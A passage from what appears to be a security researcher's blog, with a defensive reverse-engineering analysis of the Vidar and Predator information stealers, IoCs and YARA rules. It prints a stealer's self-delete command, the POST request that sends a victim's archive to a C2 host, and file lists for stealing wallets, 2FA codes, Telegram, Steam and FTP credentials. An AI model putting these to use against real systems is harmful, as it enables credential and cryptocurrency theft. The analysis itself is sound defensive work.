%D%
%DESKTOP%
%DOCUMENTS%
%DRIVE_FIXED%
%DRIVE_REMOVABLE%
%LOCALAPPDATA%
%USERPROFILE%

Screenshot

The generation of the screenshot is easy to understand :

First GdiplusStartup function is called to initialize the Windows GDI+
Then an alternative to GetDeviceCaps is called for getting the height of the screen on the display monitor with the value SM_CYSCREEN (1) with GetSystemMetrics this will be the same thing with SM_CXSCREEN (0) for the width.

Now, it needs a DC object for creating a compatible bitmap necessary to generate our image by selecting the windows DC into the compatible memory DC and using a Bit Block API function to transfer the data. When all is done, it will enter into func_GdipSaveImageToFile

So now its needed to collect the bits from the generated bitmap and copies them into a buffer that will generate the screen capture file.

Information Log

So let's dig into information.txt, to understand how this file is generated. I will mention only some parts of the creation, another part will be just the corresponded API call, breakpoint on these API if you want to take your time to analyze all the step easily. First, it indicates which version of Vidar is used. If you don't see a Vidar on the log file. It means that you have an early version of it.

Date	GetSystemTimeAsFileTime
MachineID	Explained Above
GUID	GetCurrentHwProfileA
Path	GetModuleFileNameExA
Work Dir	Hardcoded string + *func_FolderNameGeneration*

Get the name of the operating system and platform is classic because this is, in fact, a concatenation of two things. First, with RegOpenKeyExA, the value of this registry key is fetched:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName

Secondly, for knowing if Windows is 32 or 64-bit, it checks itself if is running on WOW64 with the help of IsWow64Process.

Computer Name	GetComputerNameA
User Name	GetUserNameA

For the current screen resolution used, CreateDCA is called to create a device context for "Display" and requesting the Width and Height of the Device with GetDeviceCaps. This remains to this source code :

HDC hDC = CreateDCA("DISPLAY", NULL, NULL, NULL); 
int width = GetDeviceCaps(hDC, HORZRES); // HORZRES = 0x8
int height = GetDeviceCaps(hDC, VERTRES); // VERTRES = 0x0A

Let's continue our in-depth analysis...

Display Language	GetUserDefaultLocaleName
Keyboard Languages	GetKeyboardLayoutList / GetLocaleInfoA
Local Time	GetSystemTimeAsFileTime
TimeZone	TzSpecificLocalTimeToSystemTime

Hardware ??? the process name, the value of the registry key is fetched:

HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString

CPU Count	GetSystemInfo.dwNumberOfProcessors
RAM	GlobalMemoryStatusEx
VideoCard	EnumDisplayDevicesW

Network The network part is quite easy, it's a translation of data retrieves on ip-api.com/line/ and put into the log, at the corresponding place. Processes There is quite soft stuff done to get a snapshot of all the processes at the time where the stealer is executed. But in the end, this is not complicated at all to understand the different steps.

Request CreateToolhelp32Snapshot, to get the complete snapshot of all the processes executed, and read one per one in a loop all with Process32First

After, checking if it's a parent process or a child process, Vidar will grab two value of the PROCESSENTRY32 object :

th32ProcessID: PID
szExeFile: The name of the PE

Software For the list of all installed software, the value of this registry key is fetched:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

And these values are retrieves of each software.

DisplayName
DisplayVersion

Results So for example, if you want to see the results, let's see into one sandbox analysis, the generated information.txt (this is a Vidar 4.2 here)

Vidar Version: 4.2

Date: Thu Dec 13 14:39:05 2018
MachineID: 90059c37-1320-41a4-b58d-2b75a9850d2f
GUID: {e29ac6c0-7037-11de-816d-806e6f6e6963}

Path: C:\Users\admin\AppData\Local\Temp\toto.exe 
Work Dir: C:\ProgramData\LDGQ3MM434V3HGAR2ZUK

Windows: Windows 7 Professional [x86]
Computer Name: USER-PC
User Name: admin
Display Resolution: 1280x720
Display Language: en-US
Keyboard Languages: English (United States)
Local Time: 13/12/2018 14:39:5
TimeZone: UTC-0

[Hardware]
Processor: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz
CPU Count: 4
RAM: 3583 MB
VideoCard: Standard VGA Graphics Adapter

[Network]
IP: 185.230.125.140
Country: Switzerland (CH)
City: Zurich (Zurich)
ZIP: 8010
Coordinates: 47.3769,8.54169
ISP: M247 Ltd (M247 Ltd)

[Processes]
- System [4]
---------- smss.exe [264]
- csrss.exe [344]
< ... >

[Software]
Adobe Flash Player 26 ActiveX [26.0.0.131]
Adobe Flash Player 26 NPAPI [26.0.0.131]
Adobe Flash Player 26 PPAPI [26.0.0.131]
< ... >

Loader

The task is rudimentary but enough to do the job :

Generating a random name for the downloaded payload
Download the payload
Execute

When the binary file is downloaded from the C2, it's using CreateFileA with specific parameters :

edi : The downloaded data from the C2
80h : "The file does not have other attributes set. This attribute is valid only if used alone."
2 : This option will force the overwriting if the filename already exists.
edi : ???
1 : "Enables subsequent open operations on a file or device to request read access."
Otherwise, other processes cannot open the file or device if they request read access."
40000000h : Write access (GENERIC_WRITE)
ebp+lpFileName : The generated filename

When it's done, it only needs to Write content into the files (WriteFile) and then close the corresponding handle (CloseHandle) So now, the file is downloaded and saved into the disk, it only needs to be launched with ShellExecuteA. So don't hesitate to breakpoint this API function, for grabbing the payload before it's too late for further analysis.

Killing Part

So when all the task of the stealer is finally accomplished and cleaned, the stealer needs to erase itself. So first of all, it retrieves this own PID with the help of GetCurrentProcessId. When it's done, it enters into "func_GetProcessIdName", tries to open a handle on his own process with OpenProcess, if it failed, it continues to check and in the end the most important task here is to call GetModuleBaseNameA, which it permits to retrieve the name of the process name with the help of the PID that was obtained before. Some strings that are hardcoded on .rdata section are called and saved for future purposes. When the request is finely crafted, Vidar is simply using ShellExecuteA to pop a command shell and executing the task, this permit to erase all trace of the interaction of the payload on the machine. So if we want a quick overview of the executed command: C:\Windows\System32\cmd.exe" /c taskkill /im vidar.exe /f & erase C:\Users\Pouet\AppData\Local\Temp\vidar.exe & exit Literally: Offset File + db '/c taskkill /im' + [GetModuleBaseNameA] + db ' /f & erase' + [GetModuleFileNameExA + GetModuleBaseNameA]+ + db ' & exit'

Sending archive to the C2

Folder generation

COUNTRY + "_" + Machine GUID + ".zip" in example : NG_d6836847-acf3-4cee-945d-10c9982b53d1.zip

Last POST request

During the generation of the POST request, the generated HTTP packet is tweaked to add some additional content that the C2 server will read and process data. Each name at the end of the string will be the corresponding field to be saved into the database. This at least, all the different Content-Disposition that will be added to the HTTP request.

hwid	Hardware ID
os	Operating System
platform	32 or 64 bits System
profile	C2 Profile ID
user	Name of the victim account
cccount	Number of Credit Cards stolen
ccount	Number of Coins Stolen (CryptoWallet)
fcount	Number of files stolen
telegram	Telegram :)
ver	The version of the Vidar malware

Also, there is a little trick here that I found nice. Here, the answer to the POST request is in fact, containing the config for the loader.

If there is nothing, the response is "ok"
If there is something, the specified url(s) are stored.

Its the same thing used for the config and the network information. Example with a sandbox :

The POST request

The response of this POST request (select the tab)

Server-Side

Because it's easy to find some information about the stealer, no needs to dig hard to have some marketplace where Vidar is sold. So let's see how it looks like by looking some classical commercial video (all the screenshot are collected from there), for attracting some possible customers. This could be completely different at that time, but it's what it was looking like at the beginning of November. Login Dashboard The panel is a classical fancy user-friendly interface, with all the basic information necessary for the customer to have a fast view how is goin' his business.

The current version of the builder
Until when he is able to generate some payloads
How many victims
The current balance on his account to re-subscribe again

Logs something to mention with the log part is that it's possible to put some notes on each data. Passwords Builder The builder tab is also pretty interesting because we have the changelog information about the stealer and on the download part, the malware generated will not be packed and this is the same scenario with Arkei. Customer/Threat actor must have to use his own crypter/packer software for his payload. Settings The most important tab is obviously where it is possible to configure the payload, for grabbing some additional stuff on the machine with the profiles. Activate or deactivate some features to filtering the stealer for really specific purposes. It's also important to notify, that it's possible with Vidar to deploy multiple profiles at the same time. It means when the payload is infecting the victim machine, X archive for X profile is saved in "files" repository. The customer could be able to sort easily for malicious purposes after the grabbed data. When editing or creating a new rule, we have this prompt panel appearing and this is in relation with what explained above with all possible path that the malware is able to search with the selected files. After checking a little, there is plenty of profiles on the C2. This is what we could found: Default empty config:

1,1,1,1,1,1,1,1,0,1,250,none;

Default initialized config:

1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;

Examples of custom profiles:

1,1,1,1,1,1,1,1,1,1,250,grabba;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;100;true;movies:music:mp3;
1,1,0,1,1,1,1,1,1,1,250,инфа;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
1,1,1,1,1,1,1,1,1,1,250,Первое;%DESKTOP%\;*.txt:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*;50;true;movies:music:mp3;
1,1,1,1,1,1,1,1,1,1,250,123435566;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;
1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3;

There are also some possibilities to see multiple profiles executed at the same time.

1,1,1,1,1,1,0,1,1,1,250,
DESKTOP;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*2fa*.png:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;
DOCUMENTS;%DOCUMENTS%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;
DRIVE_REMOVABLE;%DRIVE_REMOVABLE%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*:*okex*.*:*binance*.*:*bitfinex*.*:*bittrex*.*:*gdax*.*:*private*.*:*upbit*.*:*bithimb*.*:*hitbtc*.*:*bitflyer*.*:*kucoin*.*:*API*.*:*huobi*.*:*coinigy*.*:*jaxx*.*:*electrum*.*:*exodus*.*:*neo*.*:*yobit*.*:*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*crypt*.*:*key*.*:*seed*.*:*pass*.*:*btc*.*:*coin*.*:*poloniex*.*:*kraken*.*:*cex*.*;100;true;movies:music:mp3:dll;

they are in fact Delimited with the specific format, as detailed as above. So here, we have 3 profiles :

DESKTOP
DOCUMENTS
DRIVE_REMOVABLE

that will be stored into there respectively archives into "files" repository. e.d: All dumped profiles are available on my GitHub repository. Finally, with this quick analysis of the panel, something that is more and more common nowadays with a stealer, a loader feature, for pushing other malware. As mentioned in the introduction, this is a shop where customers will just have to deal to configure their malware, everything is managed by a team (?) behind for the maintenance and for avoiding proxy filtering stuff, domains are changed regularly (it's also easy to check this on the samples, because it looks like a new version means a new generated domain). Also, there is some possibility (of what they said) to have a 2FA Authentication to their account page.

Some fancy message

if we are searching for some stuff with the login panel, with have some sympathetic message. Let's see what we have behind :) A kind of easter egg to remind us what is the signification of Vidar: "the God of Vengeance" in Nordic mythology.

Vidar - An Arkei copycat?

If we are looking to requests and code, Vidar is almost identical to Arkei. There is slightly some differences at some point but all implemented features are the same. This could lose some blue team people if they don't make too much attention to it on sandbox results. Current Yara rules will trigger Vidar as Arkei, so automated assignations lead to mistakes at the moment of this review. Analyzing the code is mandatory here to understand what's goin' on. At first, the main function for both of them is similar : The archive generation is also the same, so this is not with this information that it's possible to differentiate these two malware.

Code differences

An easy to know if we are dealing with Vidar is to find "Vidar.cpp". Vidar Signature Arkei signature

Network differences

An analyst can be dupe easily with the requests and thinking that we have another form of HTTP requests with Arkei, but it's not. Vidar HTTP Requests

/ (i.e 162) <- Config
ip-api.com/line/ <- Get Network Info
/msvcp140.dll <- Required DLL
/nss3.dll <- Required DLL
/softokn3.dll <- Required DLL
/vcruntime140.dll <- Required DLL
/ <- Pushing Victim Archive to C2

there are no libraries downloaded on Arkei, this is something really specific to Vidar, for some parts of the stealing process. Arkei HTTP Requests

/index.php <- Config
ip-api.com/line/ <- Get Network Info
/index.php <- Pushing Victim Archive to C2

Config Format If you want to understand what is the purpose the config format for Arkei

1	Saved Passwords
1	Cookies / Autofill
1	History
2	CryptoCurrency
2	Skype
2	Steam
1	Telegram
1	Screenshot
1	Grabber
txt:log:	Grabber Config
50	Max Size (kb)
2	Self Delete

Also, there are some slight changes in the last POST requests, Vidar is just adding new fields like the profile and the versioning. To understand how far the requests looks the same, let's dig into a PCAP file. I indicated the differences in red, and apart from the versioning and profile values, all rest is the same. But if we dig into some older sample, it's impossible to see the differences except the path of the request. Last POST request - Vidar

POST / HTTP/1.1
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 66809
Host: some.lovely.vidar.c2.with.love
Connection: Keep-Alive
Cache-Control: no-cache

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="hwid"

90059c37-1320-41a4-b58d-2b75a9850d2f
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="os"

Windows 7 Professional
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="platform"

x86
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="profile"

XXX <- Random Int
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="user"

admin
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="cccount"

0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ccount"

0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="fcount"

0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="telegram"

0
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ver"

4.1
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="logs"; filename="COUNTRY_.zip"
Content-Type: zip

Features differences

When we dig into the different features, there is some config part on Vidar that is in fact just some placebo options. in an example, the Steam stealing feature is implemented in Arkei is not found in Vidar. This is also the same thing with Skype but in contrary 2FA stealing stuff is only on Vidar (with what I have seen on samples in my possession).

Strings only present in Arkei and not in the Vidar that I analyzed

Is Arkei still active and maintained?

On one of the selling page of this stealer, it's still sold and continue to be updated. For example, it reveals that soon a final update on it will be pushed (v10). So let's see how this will turn.

The Vidar Cracked Version

There is also in the wild a cracked version that was already spotted by some people on twitter. This Vidar or "Anti-Vidar" as called in the source code of the panel and It's based on an early Vidar build (v2.3 it seems). Login The login is identical to the Android Lokibot panel (thanks to @siri_urz). As always when confronted at this kind of stuff, the code never lies (or it seems) for helping us to identify what is the real C2/Malware. Profile code The profile is far more simple than the nowadays panels and samples, the default profile is hardcoded on the PHP file, and will get it if the value is 11.

IoCs

SHA256 Hashes

3A20466CC8C07638B8882CCC9B14C08F605F700F03D388CF85B2E76C51D64D65
0E982A02D754588D4EE99F30084B886B665FF04A1460D45C4FD410B04B10A8AF
2679FA8E9FD0C1F6F26527D53759BB596FDA43A741B4DFCC99A8C0907836A835
9EC586B07961E0C93C830DD1C47598FE21277432F11809A4B73DF7370CDD2E29
42C6950CA57D8805C217E3334158DAB4CC71A50C94D77F608B1C442BFD2B01CA
D71F81EDF8AC04639D3B7C80AA178DF95C2CBFE73F81E931448A475FB771267A
DAD5FCEAB002791DD6FD575782C173F1A39E0E7CE36E6DE1BAEFA95D0A8FB889
66162E69CA30A75E0DD1A6FBB9028FCFBE67B4ADE8E844E7C9FF2DCB46D993D8
EFF272B93FAA1C8C403EA579574F8675AB127C63ED21DB3900F8AB4FE4EC6DA9
EDBAC320C42DE77C184D30A69E119D27AE3CA7D368F802D2F8F1DA3B8D01D6DD
B1D5B79D13F95A516ABBCC486841C8659984E5135F1D9C74343DCCD4390C3475
543AEE5A5435C77A8DE01433079F6381ADB4110F5EF4350E9A1A56B98FE40292
65B2BD17E452409397E2BD6F8E95FE8B708347D80074861698E4683BD12437A9
47E89F2C76D018D4952D421C5F1D603716B10E1712266DA32F63082F042F9C46
5D37323DA22C5414F6E03E06EFD184D7837D598C5E395E83C1BF248A7DE57155
5C0AF9C605AFD72BEF7CE8184BCCC9578EDB3A17498ACEBB74D02EB4AF0A6D2E
65287763245FDD8B56BB72298C78FEA62405BD35794A06AFBBE23CC5D38BE90A
20E92C2BF75C473B745617932F8DC0F8051BFC2F91BB938B2CC1CD808EBBC675
C752B68F3694B2FAAB117BCBA36C156514047B75151BBBFE62764C85CEF8ADE5
AE2EBF5B5813F92B0F7D6FCBADFA6E340646E4A776163AE86905E735A4B895A0
8F73E9C44C86D2BBADC545CED244F38472C5AACE0F75F57C8FC2398CE0A7F5A1

thx @benkow_ for the help to find some samples :)

Domains

malansio[.]com
nasalietco[.]com
binacoirel[.]com
newagenias[.]com
bokolavrstos[.]com
naicrose[.]com
benderio[.]com
cool3dmods[.]com

MITRE ATT&CK

Yara Rules

Vidar

rule Vidar_Stealer : Vidar 
{
 meta:
 description = "Yara rule for detecting Vidar stealer"
 author = "Fumik0_"

 strings:
 $mz = { 4D 5A }

 $s1 = { 56 69 64 61 72 }
 $s2 = { 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 }
 condition:
 $mz at 0 and ( (all of ($s*)) )
}

rule Vidar_Early : Vidar 
{
 meta:
 description = "Yara rule for detecting Vidar stealer - Early versions"
 author = "Fumik0_"

 strings:
 $mz = { 4D 5A }
 $s1 = { 56 69 64 61 72 }
 $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }
 condition:
 $mz at 0 and all of ($hx*) and not $s1
}

rule AntiVidar : Vidar 
{
 meta:
 description = "Yara rule for detecting Anti Vidar - Vidar Cracked Version"
 author = "Fumik0_"

 strings:
 $mz = { 4D 5A }
 $s1 = { 56 69 64 61 72 }
 $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }
 $hx2 = { 78 61 6B 66 6F 72 2E 6E 65 74 00 }
 condition:
 $mz at 0 and all of ($hx*) and not $s1
}

Arkei

rule Arkei
{
 meta:
 Author = "Fumik0_"
 Description = "Rule to detect Arkei"
 Date = "2018/12/11"

 strings:
 $mz = { 4D 5A }

 $s1 = "Arkei" wide ascii
 $s2 = "/server/gate" wide ascii
 $s3 = "/server/grubConfig" wide ascii
 $s4 = "\\files\\" wide ascii
 $s5 = "SQLite" wide ascii

 $x1 = "/c taskkill /im" wide ascii
 $x2 = "screenshot.jpg" wide ascii
 $x3 = "files\\passwords.txt" wide ascii
 $x4 = "http://ip-api.com/line/" wide ascii
 $x5 = "[Hardware]" wide ascii
 $x6 = "[Network]" wide ascii
 $x7 = "[Processes]" wide ascii

 $hx1 = { 56 00 69 00 64 00 61 00 72 00 2E 00 63 00 70 00 70 00 }


 condition:
 $mz at 0 and
 ( (all of ($s*)) or ((all of ($x*)) and not $hx1))
}

Github

Recommendations

This is, as usual, the same thing that I said about my precedent blog post.

Always running stuff inside a VM, be sure to install a lot of stuff linked to the hypervisor (like Guest Addons tools) to trigger as much as possible all kind of possible Anti-VM detection and closing malware.
When you have done with your activities stop the VM and restore it with a Specific clean snapshot.
Avoid storing files at a pre-destined path (Desktop, Documents, Downloads), put at a place that is not common.
Don't be stupid to click on cracks on youtube, hack software for popular games, or "wonderful" easy cash money (like Free Bitcoin Program /facepalm).
Flush your browser after each visit, never saved your passwords directly on your browser or using auto-fill features.
Don't use the same password for all your websites (use 2FA and it's possible).

Conclusion

This analysis was a kind of a mystery game. It's hard to understand if Vidar is an evolution of Arkei or a forked malware based on his code. As far it seems this is currently an active one and growing up. A lot of updates are pushed on it regularly probably due because this is a young (forked/copycat) malware. With the fact, that this stealer was also using the skin theme of Android Lokibot (due to the cracked version), this could really lose some minds for identifying what is the correct name of the C2, without any samples to analyze. For now, let's see with the time if we will more answers to put the puzzle together for this stealer. ¯\_(ツ)_/¯ On my side, if I could sum up this year. I have done way more things than I could imagine because 2018 was a really "reaaalllyyyy" thought year, with a lot of problems and huge issues. Let's see how this next year will be. But now, it's time to rest and eat because there were so many sleep hours destroy and skip meals this year for learning stuff. Special thanks to my buddies (they will know who they are), you are the best <3 #HappyHunting #SeeYouIn2019

Predator The Thief: In-depth analysis (v2.3.5)

Mon, 15 Oct 2018 13:46:24 +0000

Well, it's been a long time without some fresh new contents on my blog. I had some unexpected problems that kept me away from here and a lot of work (like my tracker) that explain this. But it's time to come back (slowly) with some stuff.

So today, this is an In-Depth analysis of one stealer: "Predator the thief", written in C/C++. Like dozen others malware, it's a ready to sell malware delivered as a builder & C2 panel package.

The goal is to explain step by step how this malware is working with a lot of extra explanations for some parts. This post is mainly addressed for junior reverse engineers or malware analysts who want for future purposes to understand and defeat some techniques/tricks easily.

So here we go!

Classical life cycle

The execution order is almost the same, for most of the stealers nowadays. Changes are mostly varying between evading techniques and how they interact with the C2. For example, with Predator, the set up is quite simple but could vary if the attacker set up a loader on his C2.

The life cycle of Predator the thief

Preparing the field

Before stealing sensitive data, Predator starts by setting up some basics stuff to be able to work correctly. Almost all the configuration is loaded into memory step by step. So let's put a breakpoint at "0x00472866" and inspect the code...

EBX is set to be the length of our loop (in our case here, it will be 0x0F)
ESI have all functions addresses stored
EAX, will grab one address from ESI and moves it into EBP-8
EBP is called, so at this point, a config function will unpack some data and saved it into the stack)
ESI position is now advanced by 4
EDI is incremented until reaching the same value as stored EBX
When the EDI == EBX, it means that all required configuration values are stored into the stack. The main part of the malware could start

So, for example, let's see what we have inside 0040101D at 0x00488278 So with x32dbg, let's see what we have... with a simple command

Command: go 0x0040101D

As you can see, this is where the C2 is stored, uncovered and saved into the stack. So what values are stored with this technique?

C2 Domain
%APPDATA% Folder
Predator Folder
temporary name of the archive predator file and position
also, the name of the archive when it will send to the C2
etc...

With the help of the %APPDATA%/Roaming path, the Predator folder is created (\ptst). Something notable with this is that it's hardcoded behind a Xor string and not generated randomly. By pure speculation, It could be a shortcut for "Predator The STealer". This is also the same constatation for the name of the temporary archive file during the stealing process: "zpar.zip".

The welcome message...

When you are positioned at the main module of the stealer, a lovely text looped over 0x06400000 times is addressed for people who want to reverse it.

Obfuscation Techniques

The thief who loves XOR (a little bit too much...)

Almost all the strings from this stealer sample are XORed, even if this obfuscation technique is really easy to understand and one of the easier to decrypt. Here, its used at multiple forms just to slow down the analysis.

GetProcAddress Alternatives

For avoiding to call directly modules from different libraries, it uses some classic stuff to search step by step a specific API request and stores it into a register. It permits to hide the direct call of the module into a simple register call. So firstly, a XORed string (a DLL) is decrypted. So for this case, the kernel32.dll is required for the specific module that the malware wants to call. When the decryption is done, this library is loaded with the help of "LoadLibraryA". Then, a clear text is pushed into EDX: "CreateDirectoryA"... This will be the module that the stealer wants to use. The only thing that it needs now, its to retrieve the address of an exported function "CreateDirectoryA" from kernel32.dll. Usually, this is done with the help of GetProcAddress but this function is in fact not called and another trick is used to get the right value. So this string and the IMAGE_DOS_HEADER of kernel32.dll are sent into "func_GetProcesAddress_0". The idea is to get manually the pointer of the function address that we want with the help of the Export Table. So let's see what we have in the in it...

struct IMAGE_EXPORT_DIRECTORY {
	long Characteristics;
	long TimeDateStamp;
	short MajorVersion;
	short MinorVersion;
	long Name;
	long Base;
	long NumberOfFunctions;
	long NumberOfNames;
	long *AddressOfFunctions; <= This good boy
	long *AddressOfNames; <= This good boy 
	long *AddressOfNameOrdinals; <= This good boy
}

After inspecting the structure de IMAGE_EXPORT_DIRECTORY, three fields are mandatory :

AddressOfFunctions - An Array who contains the relative value address (RVA) of the functions of the module.
AddressOfNames - An array who stores with the ascending order of all functions from this module.
AddressOfNamesOrdinals - An 16 bits array who contains all the associated ordinals of functions names based on the AddressOfNames.

source So after saving the absolute position of these 3 arrays, the loop is simple

Grab the RVA of one function
Get the name of this function
Compare the string with the desired one.

So let's see in details to understand everything : If we dig into ds:[eax+edx*4], this where is stored all relative value address of the kernel32.dll export table functions. With the next instruction add eax,ecx. This remains to go at the exact position of the string value in the "AddressOfNames" array.

DLLBaseAddress + AddressOfNameRVA[i] = Function Name 
 751F0000 + 0C41D4 = CreateDirectoryA

The comparison is matching, now it needs to store the "procAddress. So First the Ordinal Number of the function is saved. Then with the help of this value, the Function Address position is grabbed and saved into ESI.

ADD ESI, ECX
ProcAddress = Function Address + DLLBaseAddress

In disassembly, it looks like this : Let's inspect the code at the specific procAddress... So everything is done, the address of the function is now stored into EAX and it only needs now to be called.

Anti-VM Technique

Here is used a simple Anti-VM Technique to check if this stealer is launched on a virtual machine. This is also the only Anti-Detection trick used on Predator.

First, User32.dll (Xored) is dynamically loaded with the help of "LoadLibraryA", Then "EnumDisplayDevicesA" module is requested with the help of User32.dll. The idea here is to get the value of the "Device Description" of the current display used.

When it's done, the result is checked with some values (obviously xored too) :

Hyper-V
VMware
VirtualBox

If the string matches, you are redirected to a function renamed here "func_VmDetectedGoodBye.

How to By-Pass this Anti-VM technique?

For avoiding this simple trick, the goal is to modify the REG_SZ value of "DriverDesc" into {4d36e968-e325-11ce-bfc1-08002be10318} to something else. And voilà!

Stealing Part

Let's talk about the main subject... How this stealer is organized... As far I disassemble the code, this is all the folders that the malware is setting on the "ptst" repository before sending it as an archive on the C2.

Folder
- Files: Contains all classical text/documents files at specifics paths
- FileZilla: Grab one or two files from this FTP
- WinFTP: Grab one file from this FTP
- Cookies: Saved stolen cookies from different browsers
- General: Generic Data
- Steam: Steal login account data
- Discord: Steal login account data
Files
- Information.log
- Screenshot.jpeg <= Screenshot of the current screen

For checking if Telegram is installed on the machine, the malware is checking if the KeyPath "Software\Microsoft\Windows\CurrentVersion\Uninstall\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1" exists on the machine. So let's inspect what we have inside this "KeyPath"? After digging into the code, the stealer will request the value of "InstallLocation" because of this where Telegram is installed currently on the machine. Step by step, the path is recreated (also always, all strings are xored) :

%TELEGRAM_PATH%
\Telegram Desktop
\tdata
\D877F783D5D3EF8C

The folder "D877F783D5D3EF8C" is where all Telegram cache is stored. This is the sensitive data that the stealer wants to grab. Also during the process, the file map* (i.e: map1) is also checked and this file is, in fact, the encryption key. So if someone grabs everything for this folder, this leads the attacker to have an access (login without prompt) into the victim account.

Steam

The technique used by the stealer to get information for one software will remain the same for the next events (for most of the cases). This greatly facilitates the understanding of this malware. So first, it's checking the "SteamPath" key value at "HKCU\Software\Valve\Steam" to grab the correct Steam repository. This value is after concatenating with a bunch of files that are necessary to compromise a Steam Account.

So it will check first if ssfn files are present on the machine with the help of "func_FindFiles", if it matches, they are duplicated into the temporary malware folder stored on %APPDATA%/XXXX. Then do the same things with config.vdf So what the point with these files? First, after some research, a post on Reddit was quite interesting. it explained that ssfn files permit to by-pass SteamGuard during the user log-on. Now what the point of the second file? this is where you could know some information about the user account and all the applications that are installed on the machine. Also, if the ConnectCache field is found on this one, it is possible to log into the stolen account without steam authentication prompt. if you are curious, this pattern is represented just like this :

"ConnectCache"
{
 "STEAM_USERNAME_IN_CRC32_FORMAT" "SOME_HEX_STUFF"
}

The last file, that the stealer wants to grab is "loginusers.vdf". This one could be used for multiple purposes but mainly for setting the account in offline mode manually. For more details on the subject there a nice report made by Kapersky for this:

Steam Stealers

Wallets

The stealer is supporting multiple digital wallets such as :

Ethereum
Multibit
Electrum
Armory
Bytecoin
Bitcoin
Etc...

The functionality is rudimentary but it's enough to grab specific files such as :

*.wallet
*.dat

And as usual, all the strings are XORed.

FTP software

The stealer supports two FTP software :

Filezilla
WInFTP

It's really rudimentary because he only search for three files, and they are available a simple copy to the predator is done :

%APPDATA%\Filezilla\sitemanager.xml
%APPDATA%\Filezilla\recentservers.xml
%PROGRAMFILES%\WinFtp Client\Favorites.dat

Browsers

